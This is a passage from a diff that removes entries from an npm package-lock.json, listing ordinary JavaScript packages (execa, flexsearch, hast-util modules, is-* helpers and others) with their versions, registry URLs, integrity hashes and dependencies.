"version": "0.8.0", - "resolved": "https://registry.npmjs.org/execa/-/execa-0.8.0.tgz", - "integrity": "sha512-zDWS+Rb1E8BlqqhALSt9kUhss8Qq4nN3iof3gsOdyINksElaPyNBtKUMTR62qhvgVWR0CqCX7sdnKe4MnUbFEA==", - "dependencies": { - "cross-spawn": "^5.0.1", - "get-stream": "^3.0.0", - "is-stream": "^1.1.0", - "npm-run-path": "^2.0.0", - "p-finally": "^1.0.0", - "signal-exit": "^3.0.0", - "strip-eof": "^1.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/extend": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz", - "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==" - }, - "node_modules/extend-shallow": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", - "integrity": "sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==", - "dependencies": { - "is-extendable": "^0.1.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/flexsearch": { - "version": "0.7.43", - "resolved": "https://registry.npmjs.org/flexsearch/-/flexsearch-0.7.43.tgz", - "integrity": "sha512-c5o/+Um8aqCSOXGcZoqZOm+NqtVwNsvVpWv6lfmSclU954O3wvQKxxK8zj74fPaSJbXpSLTs4PRhh+wnoCXnKg==" - }, - "node_modules/focus-visible": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/focus-visible/-/focus-visible-5.2.0.tgz", - "integrity": "sha512-Rwix9pBtC1Nuy5wysTmKy+UjbDJpIfg8eHjw0rjZ1mX4GNLz1Bmd16uDpI3Gk1i70Fgcs8Csg2lPm8HULFg9DQ==" - }, - "node_modules/get-stream": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-3.0.0.tgz", - "integrity": "sha512-GlhdIUuVakc8SJ6kK0zAFbiGzRFzNnY4jUuEbV9UROo4Y+0Ny4fjvcZFVTeDA4odpFyOQzaw6hXukJSq/f28sQ==", - "engines": { - "node": ">=4" - } - }, - "node_modules/git-up": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/git-up/-/git-up-7.0.0.tgz", - "integrity": "sha512-ONdIrbBCFusq1Oy0sC71F5azx8bVkvtZtMJAsv+a6lz5YAmbNnLD6HAB4gptHZVLPR8S2/kVN6Gab7lryq5+lQ==", - "dependencies": { - "is-ssh": "^1.4.0", - "parse-url": "^8.1.0" - } - }, - "node_modules/git-url-parse": { - "version": "13.1.1", - "resolved": "https://registry.npmjs.org/git-url-parse/-/git-url-parse-13.1.1.tgz", - "integrity": "sha512-PCFJyeSSdtnbfhSNRw9Wk96dDCNx+sogTe4YNXeXSJxt7xz5hvXekuRn9JX7m+Mf4OscCu8h+mtAl3+h5Fo8lQ==", - "dependencies": { - "git-up": "^7.0.0" - } - }, - "node_modules/github-slugger": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/github-slugger/-/github-slugger-2.0.0.tgz", - "integrity": "sha512-IaOQ9puYtjrkq7Y0Ygl9KDZnrf/aiUJYUpVf89y8kyaxbRG7Y1SrX/jaumrv81vc61+kiMempujsM3Yw7w5qcw==" - }, - "node_modules/glob-to-regexp": { - "version": "0.4.1", - "resolved": "https://registry.npmjs.org/glob-to-regexp/-/glob-to-regexp-0.4.1.tgz", - "integrity": "sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw==" - }, - "node_modules/graceful-fs": { - "version": "4.2.11", - "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", - "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==" - }, - "node_modules/gray-matter": { - "version": "4.0.3", - "resolved": "https://registry.npmjs.org/gray-matter/-/gray-matter-4.0.3.tgz", - "integrity": "sha512-5v6yZd4JK3eMI3FqqCouswVqwugaA9r4dNZB1wwcmrD02QkV5H0y7XBQW8QwQqEaZY1pM9aqORSORhJRdNK44Q==", - "dependencies": { - "js-yaml": "^3.13.1", - "kind-of": "^6.0.2", - "section-matter": "^1.0.0", - "strip-bom-string": "^1.0.0" - }, - "engines": { - "node": ">=6.0" - } - }, - "node_modules/has-flag": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-2.0.0.tgz", - "integrity": "sha512-P+1n3MnwjR/Epg9BBo1KT8qbye2g2Ou4sFumihwt6I4tsUX7jnLcX4BTOSKg/B1ZrIYMN9FcEnG4x5a7NB8Eng==", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/hash-obj": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/hash-obj/-/hash-obj-4.0.0.tgz", - "integrity": "sha512-FwO1BUVWkyHasWDW4S8o0ssQXjvyghLV2rfVhnN36b2bbcj45eGiuzdn9XOvOpjV3TKQD7Gm2BWNXdE9V4KKYg==", - "dependencies": { - "is-obj": "^3.0.0", - "sort-keys": "^5.0.0", - "type-fest": "^1.0.2" - }, - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/hast-util-from-dom": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/hast-util-from-dom/-/hast-util-from-dom-5.0.0.tgz", - "integrity": "sha512-d6235voAp/XR3Hh5uy7aGLbM3S4KamdW0WEgOaU1YoewnuYw4HXb5eRtv9g65m/RFGEfUY1Mw4UqCc5Y8L4Stg==", - "dependencies": { - "@types/hast": "^3.0.0", - "hastscript": "^8.0.0", - "web-namespaces": "^2.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/hast-util-from-dom/node_modules/@types/hast": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/@types/hast/-/hast-3.0.4.tgz", - "integrity": "sha512-WPs+bbQw5aCj+x6laNGWLH3wviHtoCv/P3+otBhbOhJgG8qtpdAMlTCxLtsTWA7LH1Oh/bFCHsBn0TPS5m30EQ==", - "dependencies": { - "@types/unist": "*" - } - }, - "node_modules/hast-util-from-html": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/hast-util-from-html/-/hast-util-from-html-2.0.1.tgz", - "integrity": "sha512-RXQBLMl9kjKVNkJTIO6bZyb2n+cUH8LFaSSzo82jiLT6Tfc+Pt7VQCS+/h3YwG4jaNE2TA2sdJisGWR+aJrp0g==", - "dependencies": { - "@types/hast": "^3.0.0", - "devlop": "^1.1.0", - "hast-util-from-parse5": "^8.0.0", - "parse5": "^7.0.0", - "vfile": "^6.0.0", - "vfile-message": "^4.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/hast-util-from-html-isomorphic": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/hast-util-from-html-isomorphic/-/hast-util-from-html-isomorphic-2.0.0.tgz", - "integrity": "sha512-zJfpXq44yff2hmE0XmwEOzdWin5xwH+QIhMLOScpX91e/NSGPsAzNCvLQDIEPyO2TXi+lBmU6hjLIhV8MwP2kw==", - "dependencies": { - "@types/hast": "^3.0.0", - "hast-util-from-dom": "^5.0.0", - "hast-util-from-html": "^2.0.0", - "unist-util-remove-position": "^5.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/hast-util-from-html-isomorphic/node_modules/@types/hast": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/@types/hast/-/hast-3.0.4.tgz", - "integrity": "sha512-WPs+bbQw5aCj+x6laNGWLH3wviHtoCv/P3+otBhbOhJgG8qtpdAMlTCxLtsTWA7LH1Oh/bFCHsBn0TPS5m30EQ==", - "dependencies": { - "@types/unist": "*" - } - }, - "node_modules/hast-util-from-html/node_modules/@types/hast": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/@types/hast/-/hast-3.0.4.tgz", - "integrity": "sha512-WPs+bbQw5aCj+x6laNGWLH3wviHtoCv/P3+otBhbOhJgG8qtpdAMlTCxLtsTWA7LH1Oh/bFCHsBn0TPS5m30EQ==", - "dependencies": { - "@types/unist": "*" - } - }, - "node_modules/hast-util-from-html/node_modules/@types/unist": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.2.tgz", - "integrity": "sha512-dqId9J8K/vGi5Zr7oo212BGii5m3q5Hxlkwy3WpYuKPklmBEvsbMYYyLxAQpSffdLl/gdW0XUpKWFvYmyoWCoQ==" - }, - "node_modules/hast-util-from-html/node_modules/unist-util-stringify-position": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/unist-util-stringify-position/-/unist-util-stringify-position-4.0.0.tgz", - "integrity": "sha512-0ASV06AAoKCDkS2+xw5RXJywruurpbC4JZSm7nr7MOt1ojAzvyyaO+UxZf18j8FCF6kmzCZKcAgN/yu2gm2XgQ==", - "dependencies": { - "@types/unist": "^3.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/hast-util-from-html/node_modules/vfile": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/vfile/-/vfile-6.0.1.tgz", - "integrity": "sha512-1bYqc7pt6NIADBJ98UiG0Bn/CHIVOoZ/IyEkqIruLg0mE1BKzkOXY2D6CSqQIcKqgadppE5lrxgWXJmXd7zZJw==", - "dependencies": { - "@types/unist": "^3.0.0", - "unist-util-stringify-position": "^4.0.0", - "vfile-message": "^4.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/hast-util-from-parse5": { - "version": "8.0.1", - "resolved": "https://registry.npmjs.org/hast-util-from-parse5/-/hast-util-from-parse5-8.0.1.tgz", - "integrity": "sha512-Er/Iixbc7IEa7r/XLtuG52zoqn/b3Xng/w6aZQ0xGVxzhw5xUFxcRqdPzP6yFi/4HBYRaifaI5fQ1RH8n0ZeOQ==", - "dependencies": { - "@types/hast": "^3.0.0", - "@types/unist": "^3.0.0", - "devlop": "^1.0.0", - "hastscript": "^8.0.0", - "property-information": "^6.0.0", - "vfile": "^6.0.0", - "vfile-location": "^5.0.0", - "web-namespaces": "^2.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/hast-util-from-parse5/node_modules/@types/hast": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/@types/hast/-/hast-3.0.4.tgz", - "integrity": "sha512-WPs+bbQw5aCj+x6laNGWLH3wviHtoCv/P3+otBhbOhJgG8qtpdAMlTCxLtsTWA7LH1Oh/bFCHsBn0TPS5m30EQ==", - "dependencies": { - "@types/unist": "*" - } - }, - "node_modules/hast-util-from-parse5/node_modules/@types/unist": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.2.tgz", - "integrity": "sha512-dqId9J8K/vGi5Zr7oo212BGii5m3q5Hxlkwy3WpYuKPklmBEvsbMYYyLxAQpSffdLl/gdW0XUpKWFvYmyoWCoQ==" - }, - "node_modules/hast-util-from-parse5/node_modules/unist-util-stringify-position": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/unist-util-stringify-position/-/unist-util-stringify-position-4.0.0.tgz", - "integrity": "sha512-0ASV06AAoKCDkS2+xw5RXJywruurpbC4JZSm7nr7MOt1ojAzvyyaO+UxZf18j8FCF6kmzCZKcAgN/yu2gm2XgQ==", - "dependencies": { - "@types/unist": "^3.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/hast-util-from-parse5/node_modules/vfile": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/vfile/-/vfile-6.0.1.tgz", - "integrity": "sha512-1bYqc7pt6NIADBJ98UiG0Bn/CHIVOoZ/IyEkqIruLg0mE1BKzkOXY2D6CSqQIcKqgadppE5lrxgWXJmXd7zZJw==", - "dependencies": { - "@types/unist": "^3.0.0", - "unist-util-stringify-position": "^4.0.0", - "vfile-message": "^4.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/hast-util-is-element": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/hast-util-is-element/-/hast-util-is-element-3.0.0.tgz", - "integrity": "sha512-Val9mnv2IWpLbNPqc/pUem+a7Ipj2aHacCwgNfTiK0vJKl0LF+4Ba4+v1oPHFpf3bLYmreq0/l3Gud9S5OH42g==", - "dependencies": { - "@types/hast": "^3.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/hast-util-is-element/node_modules/@types/hast": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/@types/hast/-/hast-3.0.4.tgz", - "integrity": "sha512-WPs+bbQw5aCj+x6laNGWLH3wviHtoCv/P3+otBhbOhJgG8qtpdAMlTCxLtsTWA7LH1Oh/bFCHsBn0TPS5m30EQ==", - "dependencies": { - "@types/unist": "*" - } - }, - "node_modules/hast-util-parse-selector": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/hast-util-parse-selector/-/hast-util-parse-selector-4.0.0.tgz", - "integrity": "sha512-wkQCkSYoOGCRKERFWcxMVMOcYE2K1AaNLU8DXS9arxnLOUEWbOXKXiJUNzEpqZ3JOKpnha3jkFrumEjVliDe7A==", - "dependencies": { - "@types/hast": "^3.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/hast-util-parse-selector/node_modules/@types/hast": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/@types/hast/-/hast-3.0.4.tgz", - "integrity": "sha512-WPs+bbQw5aCj+x6laNGWLH3wviHtoCv/P3+otBhbOhJgG8qtpdAMlTCxLtsTWA7LH1Oh/bFCHsBn0TPS5m30EQ==", - "dependencies": { - "@types/unist": "*" - } - }, - "node_modules/hast-util-raw": { - "version": "9.0.2", - "resolved": "https://registry.npmjs.org/hast-util-raw/-/hast-util-raw-9.0.2.tgz", - "integrity": "sha512-PldBy71wO9Uq1kyaMch9AHIghtQvIwxBUkv823pKmkTM3oV1JxtsTNYdevMxvUHqcnOAuO65JKU2+0NOxc2ksA==", - "dependencies": { - "@types/hast": "^3.0.0", - "@types/unist": "^3.0.0", - "@ungap/structured-clone": "^1.0.0", - "hast-util-from-parse5": "^8.0.0", - "hast-util-to-parse5": "^8.0.0", - "html-void-elements": "^3.0.0", - "mdast-util-to-hast": "^13.0.0", - "parse5": "^7.0.0", - "unist-util-position": "^5.0.0", - "unist-util-visit": "^5.0.0", - "vfile": "^6.0.0", - "web-namespaces": "^2.0.0", - "zwitch": "^2.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/hast-util-raw/node_modules/@types/hast": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/@types/hast/-/hast-3.0.4.tgz", - "integrity": "sha512-WPs+bbQw5aCj+x6laNGWLH3wviHtoCv/P3+otBhbOhJgG8qtpdAMlTCxLtsTWA7LH1Oh/bFCHsBn0TPS5m30EQ==", - "dependencies": { - "@types/unist": "*" - } - }, - "node_modules/hast-util-raw/node_modules/@types/unist": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.2.tgz", - "integrity": "sha512-dqId9J8K/vGi5Zr7oo212BGii5m3q5Hxlkwy3WpYuKPklmBEvsbMYYyLxAQpSffdLl/gdW0XUpKWFvYmyoWCoQ==" - }, - "node_modules/hast-util-raw/node_modules/unist-util-position": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/unist-util-position/-/unist-util-position-5.0.0.tgz", - "integrity": "sha512-fucsC7HjXvkB5R3kTCO7kUjRdrS0BJt3M/FPxmHMBOm8JQi2BsHAHFsy27E0EolP8rp0NzXsJ+jNPyDWvOJZPA==", - "dependencies": { - "@types/unist": "^3.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/hast-util-raw/node_modules/unist-util-stringify-position": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/unist-util-stringify-position/-/unist-util-stringify-position-4.0.0.tgz", - "integrity": "sha512-0ASV06AAoKCDkS2+xw5RXJywruurpbC4JZSm7nr7MOt1ojAzvyyaO+UxZf18j8FCF6kmzCZKcAgN/yu2gm2XgQ==", - "dependencies": { - "@types/unist": "^3.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/hast-util-raw/node_modules/vfile": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/vfile/-/vfile-6.0.1.tgz", - "integrity": "sha512-1bYqc7pt6NIADBJ98UiG0Bn/CHIVOoZ/IyEkqIruLg0mE1BKzkOXY2D6CSqQIcKqgadppE5lrxgWXJmXd7zZJw==", - "dependencies": { - "@types/unist": "^3.0.0", - "unist-util-stringify-position": "^4.0.0", - "vfile-message": "^4.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/hast-util-to-estree": { - "version": "2.3.3", - "resolved": "https://registry.npmjs.org/hast-util-to-estree/-/hast-util-to-estree-2.3.3.tgz", - "integrity": "sha512-ihhPIUPxN0v0w6M5+IiAZZrn0LH2uZomeWwhn7uP7avZC6TE7lIiEh2yBMPr5+zi1aUCXq6VoYRgs2Bw9xmycQ==", - "dependencies": { - "@types/estree": "^1.0.0", - "@types/estree-jsx": "^1.0.0", - "@types/hast": "^2.0.0", - "@types/unist": "^2.0.0", - "comma-separated-tokens": "^2.0.0", - "estree-util-attach-comments": "^2.0.0", - "estree-util-is-identifier-name": "^2.0.0", - "hast-util-whitespace": "^2.0.0", - "mdast-util-mdx-expression": "^1.0.0", - "mdast-util-mdxjs-esm": "^1.0.0", - "property-information": "^6.0.0", - "space-separated-tokens": "^2.0.0", - "style-to-object": "^0.4.1", - "unist-util-position": "^4.0.0", - "zwitch": "^2.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/hast-util-to-parse5": { - "version": "8.0.0", - "resolved": "https://registry.npmjs.org/hast-util-to-parse5/-/hast-util-to-parse5-8.0.0.tgz", - "integrity": "sha512-3KKrV5ZVI8if87DVSi1vDeByYrkGzg4mEfeu4alwgmmIeARiBLKCZS2uw5Gb6nU9x9Yufyj3iudm6i7nl52PFw==", - "dependencies": { - "@types/hast": "^3.0.0", - "comma-separated-tokens": "^2.0.0", - "devlop": "^1.0.0", - "property-information": "^6.0.0", - "space-separated-tokens": "^2.0.0", - "web-namespaces": "^2.0.0", - "zwitch": "^2.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/hast-util-to-parse5/node_modules/@types/hast": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/@types/hast/-/hast-3.0.4.tgz", - "integrity": "sha512-WPs+bbQw5aCj+x6laNGWLH3wviHtoCv/P3+otBhbOhJgG8qtpdAMlTCxLtsTWA7LH1Oh/bFCHsBn0TPS5m30EQ==", - "dependencies": { - "@types/unist": "*" - } - }, - "node_modules/hast-util-to-text": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/hast-util-to-text/-/hast-util-to-text-4.0.0.tgz", - "integrity": "sha512-EWiE1FSArNBPUo1cKWtzqgnuRQwEeQbQtnFJRYV1hb1BWDgrAlBU0ExptvZMM/KSA82cDpm2sFGf3Dmc5Mza3w==", - "dependencies": { - "@types/hast": "^3.0.0", - "@types/unist": "^3.0.0", - "hast-util-is-element": "^3.0.0", - "unist-util-find-after": "^5.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/hast-util-to-text/node_modules/@types/hast": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/@types/hast/-/hast-3.0.4.tgz", - "integrity": "sha512-WPs+bbQw5aCj+x6laNGWLH3wviHtoCv/P3+otBhbOhJgG8qtpdAMlTCxLtsTWA7LH1Oh/bFCHsBn0TPS5m30EQ==", - "dependencies": { - "@types/unist": "*" - } - }, - "node_modules/hast-util-to-text/node_modules/@types/unist": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.2.tgz", - "integrity": "sha512-dqId9J8K/vGi5Zr7oo212BGii5m3q5Hxlkwy3WpYuKPklmBEvsbMYYyLxAQpSffdLl/gdW0XUpKWFvYmyoWCoQ==" - }, - "node_modules/hast-util-whitespace": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/hast-util-whitespace/-/hast-util-whitespace-2.0.1.tgz", - "integrity": "sha512-nAxA0v8+vXSBDt3AnRUNjyRIQ0rD+ntpbAp4LnPkumc5M9yUbSMa4XDU9Q6etY4f1Wp4bNgvc1yjiZtsTTrSng==", - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/hastscript": { - "version": "8.0.0", - "resolved": "https://registry.npmjs.org/hastscript/-/hastscript-8.0.0.tgz", - "integrity": "sha512-dMOtzCEd3ABUeSIISmrETiKuyydk1w0pa+gE/uormcTpSYuaNJPbX1NU3JLyscSLjwAQM8bWMhhIlnCqnRvDTw==", - "dependencies": { - "@types/hast": "^3.0.0", - "comma-separated-tokens": "^2.0.0", - "hast-util-parse-selector": "^4.0.0", - "property-information": "^6.0.0", - "space-separated-tokens": "^2.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/hastscript/node_modules/@types/hast": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/@types/hast/-/hast-3.0.4.tgz", - "integrity": "sha512-WPs+bbQw5aCj+x6laNGWLH3wviHtoCv/P3+otBhbOhJgG8qtpdAMlTCxLtsTWA7LH1Oh/bFCHsBn0TPS5m30EQ==", - "dependencies": { - "@types/unist": "*" - } - }, - "node_modules/heap": { - "version": "0.2.7", - "resolved": "https://registry.npmjs.org/heap/-/heap-0.2.7.tgz", - "integrity": "sha512-2bsegYkkHO+h/9MGbn6KWcE45cHZgPANo5LXF7EvWdT0yT2EguSVO1nDgU5c8+ZOPwp2vMNa7YFsJhVcDR9Sdg==" - }, - "node_modules/html-void-elements": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/html-void-elements/-/html-void-elements-3.0.0.tgz", - "integrity": "sha512-bEqo66MRXsUGxWHV5IP0PUiAWwoEjba4VCzg0LjFJBpchPaTfyfCKTG6bc5F8ucKec3q5y6qOdGyYTSBEvhCrg==", - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wooorm" - } - }, - "node_modules/iconv-lite": { - "version": "0.6.3", - "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz", - "integrity": "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==", - "dependencies": { - "safer-buffer": ">= 2.1.2 < 3.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/inline-style-parser": { - "version": "0.1.1", - "resolved": "https://registry.npmjs.org/inline-style-parser/-/inline-style-parser-0.1.1.tgz", - "integrity": "sha512-7NXolsK4CAS5+xvdj5OMMbI962hU/wvwoxk+LWR9Ek9bVtyuuYScDN6eS0rUm6TxApFpw7CX1o4uJzcd4AyD3Q==" - }, - "node_modules/internmap": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/internmap/-/internmap-2.0.3.tgz", - "integrity": "sha512-5Hh7Y1wQbvY5ooGgPbDaL5iYLAPzMTUrjMulskHLH6wnv/A+1q5rgEaiuqEjB+oxGXIVZs1FF+R/KPN3ZSQYYg==", - "engines": { - "node": ">=12" - } - }, - "node_modules/intersection-observer": { - "version": "0.12.2", - "resolved": "https://registry.npmjs.org/intersection-observer/-/intersection-observer-0.12.2.tgz", - "integrity": "sha512-7m1vEcPCxXYI8HqnL8CKI6siDyD+eIWSwgB3DZA+ZTogxk9I4CDnj4wilt9x/+/QbHI4YG5YZNmC6458/e9Ktg==" - }, - "node_modules/is-alphabetical": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/is-alphabetical/-/is-alphabetical-2.0.1.tgz", - "integrity": "sha512-FWyyY60MeTNyeSRpkM2Iry0G9hpr7/9kD40mD/cGQEuilcZYS4okz8SN2Q6rLCJ8gbCt6fN+rC+6tMGS99LaxQ==", - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wooorm" - } - }, - "node_modules/is-alphanumerical": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/is-alphanumerical/-/is-alphanumerical-2.0.1.tgz", - "integrity": "sha512-hmbYhX/9MUMF5uh7tOXyK/n0ZvWpad5caBA17GsC6vyuCqaWliRG5K1qS9inmUhEMaOBIW7/whAnSwveW/LtZw==", - "dependencies": { - "is-alphabetical": "^2.0.0", - "is-decimal": "^2.0.0" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wooorm" - } - }, - "node_modules/is-buffer": { - "version": "2.0.5", - "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-2.0.5.tgz", - "integrity": "sha512-i2R6zNFDwgEHJyQUtJEk0XFi1i0dPFn/oqjK3/vPCcDeJvW5NQ83V8QbicfF1SupOaB0h8ntgBC2YiE7dfyctQ==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/feross" - }, - { - "type": "patreon", - "url": "https://www.patreon.com/feross" - }, - { - "type": "consulting", - "url": "https://feross.org/support" - } - ], - "engines": { - "node": ">=4" - } - }, - "node_modules/is-decimal": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/is-decimal/-/is-decimal-2.0.1.tgz", - "integrity": "sha512-AAB9hiomQs5DXWcRB1rqsxGUstbRroFOPPVAomNk/3XHR5JyEZChOyTWe2oayKnsSsr/kcGqF+z6yuH6HHpN0A==", - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wooorm" - } - }, - "node_modules/is-extendable": { - "version": "0.1.1", - "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-0.1.1.tgz", - "integrity": "sha512-5BMULNob1vgFX6EjQw5izWDxrecWK9AM72rugNr0TFldMOi0fj6Jk+zeKIt0xGj4cEfQIJth4w3OKWOJ4f+AFw==", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/is-hexadecimal": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/is-hexadecimal/-/is-hexadecimal-2.0.1.tgz", - "integrity": "sha512-DgZQp241c8oO6cA1SbTEWiXeoxV42vlcJxgH+B3hi1AiqqKruZR3ZGF8In3fj4+/y/7rHvlOZLZtgJ/4ttYGZg==", - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wooorm" - } - }, - "node_modules/is-obj": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/is-obj/-/is-obj-3.0.0.tgz", - "integrity": "sha512-IlsXEHOjtKhpN8r/tRFj2nDyTmHvcfNeu/nrRIcXE17ROeatXchkojffa1SpdqW4cr/Fj6QkEf/Gn4zf6KKvEQ==", - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/is-plain-obj": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-3.0.0.tgz", - "integrity": "sha512-gwsOE28k+23GP1B6vFl1oVh/WOzmawBrKwo5Ev6wMKzPkaXaCDIQKzLnvsA42DRlbVTWorkgTKIviAKCWkfUwA==", - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/is-reference": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/is-reference/-/is-reference-3.0.2.tgz", - "integrity": "sha512-v3rht/LgVcsdZa3O2Nqs+NMowLOxeOm7Ay9+/ARQ2F+qEoANRcqrjAZKGN0v8ymUetZGgkp26LTnGT7H0Qo9Pg==", - "dependencies": { - "@types/estree": "*" - } - }, - "node_modules/is-ssh": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/is-ssh/-/is-ssh-1.4.0.tgz", - "integrity": "sha512-x7+VxdxOdlV3CYpjvRLBv5Lo9OJerlYanjwFrPR9fuGPjCiNiCzFgAWpiLAohSbsnH4ZAys3SBh+hq5rJosxUQ==", - "dependencies": { - "protocols": "^2.0.1" - } - }, - "node_modules/is-stream": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-1.1.0.tgz", - "integrity": "sha512-uQPm8kcs47jx38atAcWTVxyltQYoPT68y9aWYdV6yWXSyW8mzSat0TL6CiWdZeCdF3KrAvpVtnHbTv4RN+rqdQ==", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/isexe": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", - "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==" - }, - "node_modules/js-tokens": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", - "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==" - }, - 